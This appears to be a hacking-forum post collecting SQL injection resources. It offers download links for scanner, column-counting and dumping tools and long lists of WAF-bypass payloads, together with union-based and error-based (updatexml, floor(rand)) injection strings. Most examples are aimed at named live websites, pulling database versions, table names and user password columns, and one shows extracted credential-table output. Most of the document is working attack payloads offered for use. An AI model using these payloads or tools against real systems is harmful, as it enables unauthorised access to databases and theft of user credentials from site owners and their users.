Simple SQLi scanner in VB C#

Paste Your SQL list and click on Filter and see magic.

It is definitely gonna save your lots of time.

Download it

SQL automatic column count tool in vb c#

Title says it all.Yes, you don't need to count manually.
When you count , use dumper to dump data.

Donwload

SQL injector and dunmper

This is sqli tool which is coded in c# and coded by zerocoolhf.
Its basic but quite useful for dumping.
Limitation: It works based on sql error . 

Download it

Hard WAF bypass tips

Whitespaces :

union(select(0),version(),(0),(0),(0),(0),(0),(0),(0))

%0Aunion%0Aselect%0A1,2,3--

/**/union/**/select/**/1,2,3--

like ::

PHP Code:

http://www.goavenues.com/list_itinerary.php?id=-4%20union%20%28select%201,2,version%28%29,4,5,6,7,8%29%20-- 

=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Bypassing ::

(Double Keyword): UNIunionON+SELselectECT

+union+distinct+select+

+union+distinctROW+select+

union+/*!select*/+1,2,3

union/**/select/**/1,2,3

uni<on all sel<ect

%20union%20/*!select*/%20

/**//*!union*//**//*!select*//**/

union%23aa%0Aselect

/**/union/*!50000select*/

/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/

%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/

+%23sexsexsex%0AUnIOn%23sexsexsex%0ASeLecT+

id=1+’UnI”On’+'SeL”ECT’ <-MySQL only

id=1+'UnI'||'on'+SeLeCT' <-MSSQL only

like ::

PHP Code:

http://www.goavenues.com/list_itinerary.php?id=-4%20union%23aa%0Aselect%201,2,version%28%29,4,5,6,7,8%20-- 

PHP Code:

http://www.goavenues.com/list_itinerary.php?id=-4%20/**/union/*!50000select*/%201,2,version%28%29,4,5,6,7,8%20-- 

PHP Code:

http://www.goavenues.com/list_itinerary.php?id=-4%20/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/%201,2,version%28%29,4,5,6,7,8%20-- 

=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

after id no. like id=1 +/*!and*/+1=0


+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0)


=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
false the url query :
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
id=-1 union all select

id=null union all select

id=1+and+false+union+all+select

id=9999 union all select
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Order Bypassing do like this

=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
/*!table_name*/

+from /*!information_schema*/./*!tables*/ where table_schema=database()

=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))

/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)

like ::

PHP Code:

http://www.westbury.com/article.php?article_id=-117%20union%20select%201,2,unhex%28hex%28Concat%28Column_Name,0x3e,Table_schema, ​ 0x3e,table_Name%29%29%29,4,5,6,7/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char%2837,%20112,%2097,%20115,%20115,%2037%29-- 

user_passwd>westbur6_website>user_info

=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
used with order ::

convert( using ascii) or unhex(hex())

like :

PHP Code:

www.westbury.com/article.php?article_id=-117 union select 1,2,convert(group_concat(table_name) using ascii),4,5,6,7+from+information_schema.tables -- 

IF'ascii' dosent work? you can try

PHP Code:

ujis
ucs2
tis620
swe7
sjis
macroman
macce
latin7
latin5
latin2
koi8u
koi8r
keybcs2
hp8
geostd8
gbk
gb2132
armscii8
ascii
binary
cp1250
big5
cp1251
cp1256
cp1257
cp850
cp852
cp866
cp932
dec8
euckr
latin1
utf8 

trick to appear info inside img tag

PHP Code:

concat(0x223e3c62723e,,0x3c696d67207372633d22) 

when the column is get into html tag,but its not always inside img tag.
it could be <a> or </noscript> or anything.

like ::

PHP Code:

http://fzszy.chinacourt.org/public/detail.php?id=-168' union /*!%53elect*/ concat(0x223e3c2f613e3c2f74643e,version(),0x3c6120687265663d22)--+ 

SQL injector by zerocool

Source :

download

SQli scanner (Automatic column count)+multithreaded

Link to use scanner :
http://zerocoolhf.allalla.com/

If you want to see source code of two files then download it .
Download link :
http://tinyurl.com/azhtkab

Bypass subquery returns more than 1 row

Hi everyone,Today I'll show you a SQLI TIP,get large data with one request using substr function. use 'limit' is slow,so im gonna teach you how to bypass the error 1242,"'subquery returns more than 1 row'".

I) Using substr function
==

the subtr function is usually for blind injection,but we can use this for bypass the limit of group_concat and the error 1242.
for example,

Code:

http://www.lermitagehotel.ee/?pageid=160 +and+(select+1+from+(select+count(*),concat((select(select+concat(concat(user_na ​ me,0x3a,user_pass),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+informat ​ion_schema.tables+group+by+x)a)

error 1242-
Subquery returns more than 1 row.
we can use substr like that

Code:

And(select 1 from(select count(*),concat(0x3a,(select substr(group_concat(column1,0x3a,column2),1,150)
from table where table_schema like database()),0x3a,floor(rand(0)*2))x
from information_schema.tables group by x)z)-- -

so

Code:

http://www.lermitagehotel.ee/?pageid=160 And(select 1 from(select count(*),concat(0x3a,(select substr(group_concat(table_name),1,150)from information_schema.tables where table_schema like database()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)z)-- -

and

Quote:Duplicate entry ':admin_topmenu,album_photos,albums,defaults,form_items,form_log,' for key 'group_key'

Incre substr(group_concat(table_name),1,150) ... substr(group_concat(table_name),30,150)... to get next
--
in mysql>5

Code:

or 1 group by concat_ws(0x3a,(select substr(group_concat(column),1,150)
from table),floor(rand(0)*2)) having min(0) or 1-- -

--
in mysql 5.1+

Code:

and updatexml(0,concat(0x3a,(select substr(group_concat(column),1,150)
from table)),0)-- -

--
notice: sometimes query number 2 dosent work,so use the first one.

Code:

II) Using concat() and group_concat()
==

Code:

and updatexml(0,concat(0x3a,(select concat(0x3a,group_concat(column))
from table)),0)-- -

only for extractvalue() / updatexml().